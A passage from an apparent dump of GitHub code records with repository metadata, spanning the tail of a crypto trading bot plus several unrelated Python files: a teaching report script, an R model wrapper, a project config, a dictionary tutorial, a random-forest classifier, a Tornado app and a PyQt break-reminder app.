position[symbol]['position_amount']\n price = factor['vwap_30s'].iloc[-1] # 挂单价格\n position_value = pos * price # 持仓金额\n place_value = capital * pos_rate / split_count # 挂单金额\n buy_size = round(place_value / depth['ask'][0][0], 8) # 买单量\n sell_size = round(place_value / depth['bid'][0][0], 8) # 卖单量\n max_limited_order_value = capital * pos_rate # 最大挂单金额\n\n # 计算挂单金额\n limit_orders_values = 0\n final_values = 0\n for key in open_orders.keys():\n limit_orders_values += float(open_orders[key].price) * abs(float(open_orders[key].cur_qty))\n # 持仓金额+挂单金额\n final_values = limit_orders_values + position[symbol]['entry_price'] * pos\n\n # 平多仓\n if float(y_pred_side_df['predict'].iloc[-1]) <= side_short and float(\n y_pred_out_df['out'].iloc[-1]) >= out and pos > 0:\n # print('-------------平仓之前撤销所有订单-------------')\n test_um_trade_cancel_open_orders()\n # print('---------------------------下空单平多仓-----------------------',time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(tick.closetime/1000)), '品种:',self.model_symbol)\n bid_price_3 = depth['bid'][2][0]\n um_trade_new_limit_order(name, symbol=symbol, side='SELL', positionSide='LONG', quantity=pos, price=bid_price_3)\n msg_ = f'下空单平多仓---平仓价格:{bid_price_3}---size:{pos}---time:{closetime}---symbol:{symbol}'\n log.info(msg_)\n\n # 平空仓\n if float(y_pred_side_df['predict'].iloc[-1]) >= self.side_long and float(\n y_pred_out_df['out'].iloc[-1]) >= self.out and self.pos < 0:\n # print('-------------平仓之前撤销所有订单-------------')\n test_um_trade_cancel_open_orders()\n # print('-----------------------------下多单平空仓----------------------',time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(tick.closetime/1000)), '品种:',self.model_symbol)\n ask_price_3 = depth['ask'][2][0]\n um_trade_new_limit_order(name, symbol=symbol, side='BUY', positionSide='SHORT', quantity=pos,\n price=ask_price_3)\n msg_ = f'下多单平空仓---平仓价格:{ask_price_3}---size:{pos}---time:{closetime}---symbol:{symbol}'\n self.log.info(msg_)\n\n # 开空仓\n if float(y_pred_side_df['predict'].iloc[-1]) <= side_short and float(\n y_pred_out_df['out'].iloc[-1]) >= out and position_value >= -pos_rate * capital * (\n 1 - 1 / split_count):\n if len(open_orders) > 0:\n last_order = list(open_orders.keys())[-1]\n if open_orders[last_order].cur_qty > 0:\n test_um_trade_cancel_open_orders()\n # print('--------------开空仓----------------', '品种:',self.model_symbol)\n if max_limited_order_value <= final_values * 1.0001:\n test_um_trade_cancel_open_orders()\n\n um_trade_new_limit_order(name, symbol=symbol, side='SELL', positionSide='SHORT', quantity=sell_size,\n price=price)\n msg_ = f'开空仓---开仓价格:{price * (1 - place_rate)}---size:{sell_size}---time:{closetime}---symbol:{symbol}'\n log.info(msg_)\n # self.fill_order_time = tick.closetime\n\n # 开多仓\n if float(y_pred_side_df['predict'].iloc[-1]) >= self.side_long and float(\n y_pred_out_df['out'].iloc[-1]) >= self.out and position_value <= pos_rate * capital * (\n 1 - 1 / split_count):\n # 如果此时有挂空单,全部撤掉\n if len(open_orders) > 0:\n last_order = list(open_orders.keys())[-1]\n if open_orders[last_order].cur_qty < 0:\n test_um_trade_cancel_open_orders()\n # print('--------------开多仓----------------', '品种:',self.model_symbol)\n if max_limited_order_value <= final_values * 1.0001:\n test_um_trade_cancel_open_orders()\n um_trade_new_limit_order(name, symbol=symbol, side='BUY', positionSide='LONG', quantity=buy_size,\n price=price)\n msg_ = f'开多仓---开仓价格:{price * (1 + place_rate)}---size:{buy_size}---time:{closetime}---symbol:{symbol}'\n log.info(msg_)\n # self.fill_order_time = tick.closetime\n\n # return\n\n\n\n\n\n # 保持仓位\n else:\n return\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n logger.add(\"./log/xrpusdt_{time}.log\", rotation=\"1 day\", enqueue=True, encoding='utf-8')\n if test_get_key() is False:\n logger.error('未成功获取账户api-key,策略开启失败')\n else:\n logger.info('初始化depth:{}'.format(depth))\n start_wb_market() # 启动行情\n start_wb_account() # 启动账户信息监测\n time.sleep(1)\n # initial() # 初始化策略\n task() # 启动所有定时任务\n logger.info('循环启动账户监听线程')\n while True:\n time.sleep(3600)\n logger.info('阻塞主线程,维持定时任务')\n\n\n","repo_name":"rensonghe/crypto","sub_path":"main_.py","file_name":"main_.py","file_ext":"py","file_size_in_byte":27819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73245064026","text":"# informe.py\n\nimport fileparse\n#import lote\n#%%\ndef leer_camion(nom_archivo):\n '''\n Lee un archivo de lotes en un camión \n y lo devuelve como lista de diccionarios con claves\n nombre, cajones, precio.\n '''\n with open(nom_archivo) as lines:\n return fileparse.parse_csv(lines, select=['nombre','cajones','precio'], types=[str,int,float])\n\ndef leer_precios(nom_archivo):\n '''\n Lee un archivo CSV con data de precios \n y lo devuelve como un diccionario\n con claves nombres y con sus precios como valores\n '''\n with open(nom_archivo) as lines:\n return dict(fileparse.parse_csv(lines, types = [str,float], has_headers = False))\n#%%\ndef hacer_informe(camion, precios):\n '''\n Crea una lista de tuplas (nombre, cajones, precio, cambio) \n dada una lista de lotes en un camión y un diccionario de precios nuevos.\n '''\n filas = []\n for c in camion:\n precio_orig = c['precio']\n cambio = precios[c['nombre']] - precio_orig\n reg = (c['nombre'], c['cajones'], precio_orig, cambio)\n filas.append(reg)\n return filas\n#%%\ndef imprimir_informe(data_informe):\n '''\n Imprime adecuadamente una tabla de una lista de tuplas\n (nombre, cajones, precio, cambio).\n '''\n headers = ('Nombre', 'Cajones', 'Precio', 'Cambio')\n print('%10s %10s %10s %10s' % headers)\n print(('-'*10 + ' ')*len(headers))\n for fila in data_informe:\n print('%10s %10d %10.2f %10.2f' % fila)\n#%%\ndef informe_camion(archivo_camion, archivo_precios): \n '''\n Crea un informe a partir de un archivo de camión y otro de precios de venta.\n '''\n # Lee data files \n camion = leer_camion(archivo_camion)\n precios = leer_precios(archivo_precios)\n\n # Crea la información del informe\n data_informe = hacer_informe(camion, precios)\n\n # Lo imprime\n imprimir_informe(data_informe)\n#%%\ndef main(args):\n if len(args) != 3:\n raise SystemExit('Uso: %s archivo_camion archivo_precios' % args[0])\n informe_camion(args[1], args[2])\n#%%\nif __name__ == '__main__':\n import sys\n main(sys.argv)\n","repo_name":"federicopfund/Unsam-algoritmic","sub_path":"Ejercicios/ejercicios_python/Clase09/ejs/ejs/informe.py","file_name":"informe.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"72567507548","text":"# Build an ML model and use it to predict test data\n\nfrom rpy2 import robjects\nfrom framework.util.misc import dict_list_to_df\nfrom copy import deepcopy\nfrom framework.models.ml_train_exception import MLTrainException\n\n\nclass MLModel:\n _RANDOM_FOREST = 'rf'\n _LINEAR_REGRESSION = 'lm'\n _ANN = 'ann'\n _KNN = 'knn'\n _SVM = 'svm'\n _GBM = 'gbm'\n _METHODS = [_RANDOM_FOREST, _LINEAR_REGRESSION, _ANN, _KNN,\n _SVM, _GBM]\n\n _FUNCTIONS = {_LINEAR_REGRESSION: '''model <- lm(%s, data = train_data)\n return(model)''',\n _RANDOM_FOREST: '''model <- randomForest(%s,\n data = train_data,\n na.action = na.omit)\n return(model)''',\n _ANN: '''train_data$genotype <-\n as.numeric(train_data$genotype)\n capture.output(model <- train(%s,\n data = train_data,\n method='nnet',\n na.action=na.omit))\n return(model)''',\n _KNN: '''model <- kknn(%s, train = train_data,\n test = test_data)\n return(model)''',\n _SVM: '''tc <- trainControl(method='boot', number=5)\n capture.output(model <- train(%s,\n data = train_data,\n method='svmLinear3',\n trControl=tc,\n na.action=na.omit))\n return(model)''',\n _GBM: '''t_data <- train_data[\n complete.cases(train_data[,\"%s\"]),]\n capture.output(model <- gbm(%s,\n data = t_data,\n n.trees = 1000))\n return(model)'''}\n\n # _FUNCTIONS = {_LINEAR_REGRESSION: '''model <- lm(%s, data = train_data)\n # return(model)''',\n # _RANDOM_FOREST: '''model <- randomForest(%s,\n # data = train_data,\n# na.action = na.omit)\n # return(model)''',\n # _ANN: '''capture.output(model <- train(%s,\n # data = train_data,\n # method = 'nnet',\n # na.action = na.omit))\n # return(model)''',\n # _KNN: '''model <- kknn(%s, train = train_data,\n # test = test_data)\n # return(model)''',\n # _SVM: '''tuneResult <- tune(svm, %s,\n # data = train_data)\n # model <- tuneResult$best.model\n # return(model)''',\n # _GBM: '''t_data <- train_data[\n # complete.cases(train_data[,\"%s\"]),]\n # capture.output(model <- gbm(%s,\n # data = t_data,\n # n.trees = 1000))\n # return(model)'''}\n\n def __init__(self, data, instruction):\n \"\"\"\n data - {'train_data': [], 'test_data': []}\n instructions - dictionary denoting what ML method and\n variables should be used for the model, i.e.\n {'name': 'Transmission',\n 'method': 'random forest',\n 'variables': ['PAR', 'rainfall_mm', 'degree_days' ...]}\n \"\"\"\n self._data = data\n self._instruction = instruction\n\n # import all necessary packages\n robjects.r('''\n suppressMessages(library(randomForest))\n suppressMessages(library(LiblineaR))\n suppressMessages(library(nnet))\n suppressMessages(library(caret))\n suppressMessages(library(mgcv))\n suppressMessages(library(kknn))\n suppressMessages(library(e1071))\n suppressMessages(library(gbm))\n ''')\n\n self._model = self._train(data, instruction)\n\n def _train(self, data, instruction):\n # build formula\n formula = \"%s ~ %s\" % (instruction['name'],\n \" + \".join(instruction['variables']))\n\n robjects.globalenv['train_data'] = dict_list_to_df(data['train_data'])\n robjects.globalenv['test_data'] = dict_list_to_df(data['test_data'])\n\n if instruction['method'] == self._GBM:\n call = self._FUNCTIONS[instruction['method']] %\\\n (instruction['name'], formula)\n else:\n call = self._FUNCTIONS[instruction['method']] % formula\n\n # TODO remove the try\n try:\n r_model = robjects.r(call)\n except:\n raise MLTrainException()\n\n model = {'name': instruction['name'],\n 'method': instruction['method'],\n 'model': r_model}\n\n return(model)\n\n def predict(self, record_real=True, data=None, submodel_test=False):\n results = []\n\n if data is None:\n data = self._data['test_data']\n\n # remove all the None cases before predicting the data\n if submodel_test:\n filtered_data = []\n for entry in data:\n skip = False\n for key in self._instruction['variables']:\n if entry[key] is None:\n skip = True\n\n if not skip:\n filtered_data.append(entry)\n\n data = filtered_data\n\n robjects.globalenv['test_data'] = dict_list_to_df(data)\n\n robjects.globalenv['current_model'] = self._model['model']\n\n # knn has a weird way of predicting test data\n if self._model['method'] == self._KNN:\n # build formula\n formula = \"%s ~ %s\" % (self._instruction['name'],\n \" + \".join(self._instruction['variables']))\n robjects.globalenv['train_data'] = \\\n dict_list_to_df(self._data['train_data'])\n\n predictions = robjects.r('''\n model <- kknn(%s, train = train_data, test = test_data)\n return(predict(model))''' % formula)\n elif self._model['method'] == self._GBM:\n predictions = robjects.r('''\n return(predict(current_model, test_data, n.trees=1000))''')\n elif self._model['method'] == self._ANN:\n predictions = robjects.r('''\n test_data$genotype <- as.numeric(test_data$genotype)\n return(predict(current_model, test_data))\n ''')\n # elif self._model['method'] == self._SVM:\n # predictions = robjects.r('''\n # hack_phenos <- attr(current_model$terms, \"term.labels\")\n # hack_data <- test_data[hack_phenos]\n # return(predict(current_model, newdata=hack_data))''')\n else:\n # all other methods\n predictions = robjects.r('''\n return(predict(current_model, test_data))''')\n\n predictions = tuple(predictions)\n\n assert(len(predictions) == len(data))\n\n pheno = self._instruction['name']\n for i in range(len(data)):\n entry = deepcopy(data[i])\n if record_real:\n entry['real'] = data[i][pheno]\n entry['predicted'] = predictions[i]\n entry['method'] = self._model['method']\n entry['pheno'] = pheno\n results.append(entry)\n\n return results\n\n def get_name(self):\n return self._instruction['name']\n\n def get_stage(self):\n return self._instruction['stage']\n\n def get_method(self):\n return self._instruction['method']\n","repo_name":"yosifovemil/thesis","sub_path":"framework/models/ml_model.py","file_name":"ml_model.py","file_ext":"py","file_size_in_byte":8363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"93243703","text":"import datetime\nimport os\nfrom pathlib import Path\nfrom typing import Dict\n\nimport confuse\nfrom drfs import DRPath\nfrom typing_extensions import Literal\n\nfrom omigami.env_config import (\n Clusters,\n StorageRoots,\n RedisDatabases,\n RedisHosts,\n PrefectServers,\n Environments,\n)\n\nROOT_DIR = Path(__file__).parents[0]\nconfig = confuse.Configuration(\"omigami\", __name__)\nOMIGAMI_ENV = os.getenv(\"OMIGAMI_ENV\", Environments.local)\n\nION_MODES = {\"positive\", \"negative\"}\nIonModes = Literal[\"positive\", \"negative\"]\n\nSTORAGE_ROOT = DRPath(StorageRoots[OMIGAMI_ENV])\nCLUSTER = Clusters[OMIGAMI_ENV]\n\n# Prefect & Tasks\nPREFECT_SERVER = PrefectServers[OMIGAMI_ENV]\nCHUNK_SIZE = int(1e8)\nDATASET_IDS = config[\"storage\"][\"dataset_id\"].get(dict)\nDEFAULT_PREFECT_TASK_CONFIG = dict(\n max_retries=3, retry_delay=datetime.timedelta(seconds=10)\n)\n\n# Mlflow\nMLFLOW_SERVER = os.getenv(\"MLFLOW_SERVER\", config[\"mlflow\"].get(str))\nMLFLOW_DIRECTORY = STORAGE_ROOT / \"mlflow\"\nCONDA_ENV_PATH = ROOT_DIR.parent / \"requirements/development/environment.frozen.yaml\"\nCODE_PATH = ROOT_DIR\n\n\nSELDON_PARAMS = config[\"seldon\"].get(dict)\n\n\n# Redis Configurations\nREDIS_DATABASES = RedisDatabases[OMIGAMI_ENV]\nREDIS_HOST = RedisHosts[OMIGAMI_ENV]\nEMBEDDING_HASHES = config[\"storage\"][\"redis\"][\"embedding_hashes\"].get(str)\nSPECTRUM_ID_PRECURSOR_MZ_SORTED_SET = config[\"storage\"][\"redis\"][\n \"spectrum_id_sorted_set\"\n].get(str)\nSPECTRUM_HASHES = config[\"storage\"][\"redis\"][\"spectrum_hashes\"].get(str)\n\n# URIs for downloading GNPS files\nGNPS_URIS = {\n \"complete\": \"https://gnps-external.ucsd.edu/gnpslibrary/ALL_GNPS.json\",\n \"small\": \"https://raw.githubusercontent.com/MLOps-architecture/share/main/test_data/SMALL_GNPS.json\",\n \"small_500\": \"https://raw.githubusercontent.com/MLOps-architecture/share/main/test_data/SMALL_GNPS_500_spectra.json\",\n \"10k\": None, # This file has no source URI and it lives only in S3\n}\n\n\ndef get_login_config() -> Dict[str, str]:\n if OMIGAMI_ENV in (Environments.dev, Environments.prod):\n login_config = config[\"login\"][OMIGAMI_ENV].get(dict)\n else:\n login_config = {\n \"username\": None,\n \"password\": None,\n \"auth_url\": \"url\",\n \"session_token\": \"token\",\n }\n return login_config\n","repo_name":"omigami/omigami-core","sub_path":"omigami/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"8307234018","text":"dict = {\r\n 'Nome': 'Pedro',\r\n 'Idade': 25\r\n}\r\nprint(dict['Idade'])\r\nprint(dict['Nome'])\r\n\r\n# adicionar elemento ao dicionário\r\n\r\ndict['Sexo'] = 'M'\r\n\r\nprint(dict[\"Sexo\"])\r\n\r\n# apagar elemento\r\n\r\ndel dict[\"Sexo\"]\r\n\r\n# mostrar valores da lista (os armazenados nas variáveis)\r\nprint(dict.values())\r\n\r\n# mostrar keys, variáveis responsáveis pelos valores\r\n\r\nprint(dict.keys())\r\n\r\n# mostrar tudo\r\n\r\nprint(dict.items())\r\n\r\n# exemplo usando o for\r\n\r\nfilmes = {\r\n 'Titulo': \"Star Wars\",\r\n 'Ano': 1977,\r\n 'Diretor': 'George Lucas'\r\n}\r\n\r\nprint(filmes.items())\r\n\r\nfor k, v in filmes.items():\r\n print(f'O {k} é {v}')\r\n\r\n# outro exemplo usando a lista com o dicionário\r\n\r\nStar = {\r\n 'Titulo': \"Star Wars\",\r\n 'Ano': 1977,\r\n 'Diretor': 'George Lucas'\r\n}\r\n\r\nAvengers = {\r\n 'Titulo': \"Avengers\",\r\n 'Ano': 2012,\r\n 'Diretor': 'Joss Whedon'\r\n}\r\n\r\nMatrix = {\r\n 'Titulo': \"Matrix\",\r\n 'Ano': 1999,\r\n 'Diretor': 'Wachowski'\r\n}\r\nlocadora = [Star, Avengers, Matrix]\r\nprint(locadora[0]['Ano'])\r\nprint(locadora[2]['Titulo'])\r\n\r\n# como fazer cópia de dicionárip para lista\r\nestado = {}\r\nbrasil = []\r\nfor c in range(0, 3):\r\n estado['uf'] = str(input('Unidade Federativa: '))\r\n estado['sigla'] = str(input('Sigla do Estado: '))\r\n brasil.append(estado.copy())\r\nfor e in brasil:\r\n for pos, val in e.items():\r\n print(f'O campo {pos} tem valor {val}')\r\n\r\n# outra opção\r\n\r\nfor e in brasil:\r\n for v in e.values():\r\n print(v, end=' ')\r\n print()","repo_name":"LeoxyOF/Curso_Em_Video_Python_Exercicios","sub_path":"Anotações/aula 19.py","file_name":"aula 19.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"648351917","text":"import pandas as pd\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.tree import export_graphviz\r\nimport graphviz\r\nimport matplotlib.pyplot as plt\r\n# 读取Excel表格数据\r\ndata = pd.read_excel('predict_data.xlsx')\r\n\r\n# 将特征和标签分开\r\nX = data.iloc[:, :-1]\r\ny = data.iloc[:, -1]\r\n\r\n# 将标签转换为有序分类问题的类别标签\r\nle = LabelEncoder()\r\ny = le.fit_transform(y)\r\n\r\n# 划分训练集和测试集\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n\r\n# 训练随机森林模型\r\nrf = RandomForestClassifier(n_estimators=100, max_depth=5)\r\nrf.fit(X_train, y_train)\r\n\r\n# 预测测试集并计算准确率\r\ny_pred = rf.predict(X_test)\r\nacc = accuracy_score(y_test, y_pred)\r\nprint('Random Forest Accuracy:', acc)\r\n\r\n# 输出决策树组成\r\nfor i in range(len(rf.estimators_)):\r\n dot_data = export_graphviz(rf.estimators_[i], out_file=None, feature_names=X.columns.astype(str), class_names=le.classes_.astype(str), filled=True, rounded=True, special_characters=True)\r\n graph = graphviz.Source(dot_data)\r\n graph.render('./random_forest/decision_tree_{}'.format(i), format='pdf')\r\n\r\nplt.plot(list(range(len(y_test))), y_pred,y_test)\r\nplt.show()\r\n\r\nimport numpy as np\r\nfrom sklearn.metrics import confusion_matrix\r\nimport itertools\r\n# y_true为实际分类结果,y_pred为预测分类结果\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n# 绘制混淆矩阵图像\r\nplt.imshow(cm, cmap=plt.cm.Blues)\r\n\r\n# 添加颜色条\r\nplt.colorbar()\r\n\r\n# 设置坐标轴标签\r\nclasses = list(range(6))\r\ntick_marks = np.arange(len(classes))\r\nplt.xticks(tick_marks, classes)\r\nplt.yticks(tick_marks, classes)\r\n\r\n# 设置坐标轴刻度\r\nthresh = cm.max() / 2.\r\nfor i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\r\n plt.text(j, i, format(cm[i, j], 'd'),\r\n horizontalalignment=\"center\",\r\n color=\"white\" if cm[i, j] > thresh else \"black\")\r\n\r\n# 添加标题\r\nplt.title(\"Confusion Matrix\")\r\n\r\n# 显示图像\r\nplt.show()","repo_name":"capraingsln/Prediction-of-LRG-grading","sub_path":"附件2代码/classify _model/random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1233155324","text":"import tornado.web\nimport os\n\nfrom thumborizeme.settings import Settings\nfrom thumborizeme.handlers.report import ReportHandler\nfrom thumborizeme.handlers.healthcheck import HealthCheckHandler\nfrom thumborizeme.handlers.home import HomeHandler\nfrom thumborizeme.redis_client import RedisClient\n\n\nclass ThumborizemeApp(tornado.web.Application):\n def __init__(self):\n self.config = Settings()\n self.redis_client = RedisClient(self.config).initialize()\n\n root = os.path.dirname(__file__)\n handlers = [\n (\n r\"/\",\n HomeHandler,\n ),\n (r\"/report\", ReportHandler),\n (r\"/healthcheck\", HealthCheckHandler),\n (\n \"/static/(.*)\",\n tornado.web.StaticFileHandler,\n {\"path\": root + \"/static\"},\n ),\n ]\n\n super(ThumborizemeApp, self).__init__(handlers, static_path=root + \"/static\")\n","repo_name":"thumbor/thumborizeme","sub_path":"thumborizeme/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"37508927059","text":"from PyQt5.QtGui import QIcon\r\nfrom PyQt5 import QtWidgets\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import *\r\nfrom appUi import MainWindow, help\r\nimport time, os\r\nimport datetime\r\nimport sys\r\nfrom plyer import notification\r\nfrom apscheduler.schedulers.background import BackgroundScheduler\r\nfrom configparser import ConfigParser\r\n\r\n\r\n\r\nclass MainWindow(QtWidgets.QMainWindow, MainWindow.Ui_MainWindow):\r\n\r\n def __init__(self, *args, obj=None, **kwargs):\r\n\r\n super(MainWindow, self).__init__(*args, **kwargs)\r\n self.setupUi(self)\r\n self.setWindowTitle(\"CATCH FORTY WINKS!\")\r\n self.setWindowIcon(QIcon('appUi/icons8-eyes-cartoon-50.png'))\r\n\r\n\r\n self.config = ConfigParser()\r\n\r\n self.scheduler = BackgroundScheduler()\r\n\r\n self.disable_reminder_starthour = self.timeEdit.time().hour()\r\n self.disable_reminder_endhour = self.timeEdit_2.time().hour()\r\n self.disable_reminder_startmin = self.timeEdit.time().minute()\r\n self.disable_reminder_endmin = self.timeEdit_2.time().minute()\r\n # disable_reminder = True, if disable option is checked\r\n self.disable_reminder = False\r\n # do_not_start = True, if today's day name (e.g.Monday)\r\n # is checked\r\n self.do_not_start = False\r\n self.time_interval_in_seconds = True\r\n self.time_interval = 5\r\n self.s5.setChecked(True)\r\n\r\n self.s5.toggled.connect(self.select_time_interval)\r\n self.s10.toggled.connect(self.select_time_interval)\r\n self.m10.toggled.connect(self.select_time_interval)\r\n self.m20.toggled.connect(self.select_time_interval)\r\n self.m30.toggled.connect(self.select_time_interval)\r\n self.m40.toggled.connect(self.select_time_interval)\r\n self.h1.toggled.connect(self.select_time_interval)\r\n\r\n if self.time_interval_in_seconds == True:\r\n self.scheduler.add_job(self.break_remind_notifier, 'interval', seconds=self.time_interval,\r\n id='reminder_job')\r\n else:\r\n self.scheduler.add_job(self.break_remind_notifier, 'interval', minutes=self.time_interval,\r\n id='reminder_job')\r\n\r\n if not os.path.exists('config.ini'):\r\n print(\"Config file not found\")\r\n\r\n self.config.add_section('day')\r\n self.config.set('day', 'Monday', 'False')\r\n self.config.set('day', 'Tuesday', 'False')\r\n self.config.set('day', 'Wednesday', 'False')\r\n self.config.set('day', 'Thursday', 'False')\r\n self.config.set('day', 'Friday', 'False')\r\n self.config.set('day', 'Saturday', 'False')\r\n self.config.set('day', 'Sunday', 'False')\r\n\r\n with open('config.ini', 'w') as file:\r\n self.config.write(file)\r\n\r\n else:\r\n print(\"Config file found\")\r\n self.config.read('config.ini')\r\n\r\n now = datetime.datetime.now()\r\n self.today = now.strftime(\"%A\")\r\n # print(self.today)\r\n\r\n if self.config.get('day', 'Monday') == 'True':\r\n self.checkMonday.setChecked(True)\r\n if self.today == 'Monday':\r\n do_not_start = True\r\n if self.config.get('day', 'Tuesday') == 'True':\r\n self.checkTuesday.setChecked(True)\r\n if self.today == 'Tuesday':\r\n do_not_start = True\r\n if self.config.get('day', 'Wednesday') == 'True':\r\n self.checkWednesday.setChecked(True)\r\n if self.today == 'Wednesday':\r\n do_not_start = True\r\n if self.config.get('day', 'Thursday') == 'True':\r\n self.checkThursday.setChecked(True)\r\n if self.today == 'Thursday':\r\n do_not_start = True\r\n if self.config.get('day', 'Friday') == 'True':\r\n self.checkFriday.setChecked(True)\r\n if self.today == 'Friday':\r\n do_not_start = True\r\n if self.config.get('day', 'Saturday') == 'True':\r\n self.checkSaturday.setChecked(True)\r\n if self.today == 'Saturday':\r\n do_not_start = True\r\n if self.config.get('day', 'Sunday') == 'True':\r\n self.checkSunday.setChecked(True)\r\n if self.today == 'Sunday':\r\n do_not_start = True\r\n\r\n if self.do_not_start == False:\r\n self.scheduler.start()\r\n else:\r\n print(\"Disabled for today\")\r\n\r\n self.enableReminder.setChecked(True)\r\n self.enableReminder.stateChanged.connect(self.reminder_function)\r\n self.disableReminder.stateChanged.connect(self.reminder_function)\r\n self.checkMonday.stateChanged.connect(self.check_day_of_the_week)\r\n self.checkTuesday.stateChanged.connect(self.check_day_of_the_week)\r\n self.checkWednesday.stateChanged.connect(self.check_day_of_the_week)\r\n self.checkThursday.stateChanged.connect(self.check_day_of_the_week)\r\n self.checkFriday.stateChanged.connect(self.check_day_of_the_week)\r\n self.checkSaturday.stateChanged.connect(self.check_day_of_the_week)\r\n self.checkSunday.stateChanged.connect(self.check_day_of_the_week)\r\n\r\n self.helpButton.clicked.connect(self.help_dialog)\r\n\r\n time = self.timeEdit.time()\r\n self.timeEdit.dateTimeChanged.connect(self.displayDT)\r\n self.timeEdit_2.dateTimeChanged.connect(self.displayDT)\r\n \r\n\r\n\r\n def select_time_interval(self):\r\n\r\n if self.s5.isChecked():\r\n self.time_interval_in_seconds = True\r\n self.time_interval = 5\r\n elif self.s10.isChecked():\r\n self.time_interval_in_seconds = True\r\n self.time_interval = 10\r\n elif self.m10.isChecked():\r\n self.time_interval_in_seconds = False\r\n self.time_interval = 10\r\n elif self.m20.isChecked():\r\n self.time_interval_in_seconds = False\r\n self.time_interval = 20\r\n elif self.m30.isChecked():\r\n self.time_interval_in_seconds = False\r\n self.time_interval = 30\r\n elif self.m40.isChecked():\r\n self.time_interval_in_seconds = False\r\n self.time_interval = 40\r\n elif self.h1.isChecked():\r\n self.time_interval_in_seconds = False\r\n self.time_interval = 60\r\n\r\n if self.time_interval_in_seconds == True:\r\n print(\"Time interval : \" + str(self.time_interval) + \" seconds\")\r\n # self.scheduler.shutdown()\r\n self.scheduler.remove_all_jobs()\r\n self.scheduler = BackgroundScheduler()\r\n self.scheduler.add_job(self.break_remind_notifier, 'interval', seconds=self.time_interval)\r\n else:\r\n print(\"Time interval : \" + str(self.time_interval) + \" minutes\")\r\n # self.scheduler.shutdown()\r\n self.scheduler.remove_all_jobs()\r\n self.scheduler = BackgroundScheduler()\r\n self.scheduler.add_job(self.break_remind_notifier, 'interval', minutes=self.time_interval)\r\n\r\n self.enableReminder.setChecked(True)\r\n self.disableReminder.setChecked(False)\r\n if self.do_not_start == False:\r\n self.scheduler.start()\r\n\r\n\r\n\r\n def help_dialog(self):\r\n\r\n self.window = QtWidgets.QMainWindow()\r\n self.ui = help.Ui_Dialog()\r\n self.ui.setupUi(self.window)\r\n self.ui.closeButton.clicked.connect(self.window.close)\r\n # self.window.resize(500, 440)\r\n self.window.setWindowIcon(QIcon('appUi/questionmark.png'))\r\n self.window.show()\r\n\r\n\r\n\r\n def disable_reminder_in_timerange(self):\r\n\r\n self.disable_reminder = True\r\n # self.scheduler.pause()\r\n\r\n\r\n\r\n def reminder_function(self):\r\n \r\n currentHour = QTime.currentTime().hour()\r\n currentMin = QTime.currentTime().minute()\r\n print(\"CurrentHour \" + str(currentHour) + \" CurrentMin \" + str(currentMin))\r\n\r\n if self.enableReminder.isChecked() == True:\r\n print(\"EnableReminder \" + str(self.enableReminder.isChecked()))\r\n if self.disableReminder.isChecked() == True:\r\n print(\"DisableReminder \" + str(self.disableReminder.isChecked()))\r\n if not (currentHour >= self.disable_reminder_starthour and currentMin >= self.disable_reminder_startmin\r\n and ((currentHour < self.disable_reminder_endhour)\r\n or (currentHour == self.disable_reminder_endhour and currentMin < self.disable_reminder_endmin))):\r\n self.scheduler.resume()\r\n else:\r\n print(\"DisableReminder \" + str(self.disableReminder.isChecked()))\r\n print(\"Pausing...\")\r\n self.scheduler.pause()\r\n else:\r\n self.scheduler.resume()\r\n else:\r\n print(\"EnableReminder \" + str(self.enableReminder.isChecked()))\r\n self.scheduler.pause()\r\n\r\n\r\n\r\n def break_remind_notifier(self):\r\n\r\n print(\"Take a Siesta!\")\r\n self.reminder_label.setText('Catch Forty Winks!')\r\n\r\n if os.name == 'nt':\r\n app_icon = 'appUi/icons8-eyes-cartoon-50.ico' # Windows 10\r\n elif os.name == 'posix':\r\n app_icon = 'appUi/icons8-eyes-cartoon-50.png' # Linux\r\n\r\n notification.notify(\r\n title='Catch Forty Winks',\r\n message='Your Eyes Deserve A Break',\r\n app_icon=app_icon,\r\n timeout=30,\r\n )\r\n\r\n time.sleep(1)\r\n self.reminder_label.clear()\r\n print(\"Break over!\")\r\n\r\n\r\n\r\n def displayDT(self):\r\n\r\n self.disable_reminder_starthour = self.timeEdit.time().hour()\r\n self.disable_reminder_endhour = self.timeEdit_2.time().hour()\r\n self.disable_reminder_startmin = self.timeEdit.time().minute()\r\n self.disable_reminder_endmin = self.timeEdit_2.time().minute()\r\n\r\n print(\"disable_reminder_starthour \" + str(self.disable_reminder_starthour) + \" disable_reminder_startmin \" + str(self.disable_reminder_startmin))\r\n print(\"disable_reminder_endhour \" + str(self.disable_reminder_endhour) + \" disable_reminder_endmin \" + str(self.disable_reminder_endmin))\r\n\r\n time = self.timeEdit.time().hour()\r\n time2 = self.timeEdit_2.time()\r\n currentTime = QTime.currentTime().hour()\r\n # if currentTime == time:\r\n # print(\"Yeah, they are equal indeed\")\r\n\r\n\r\n\r\n def 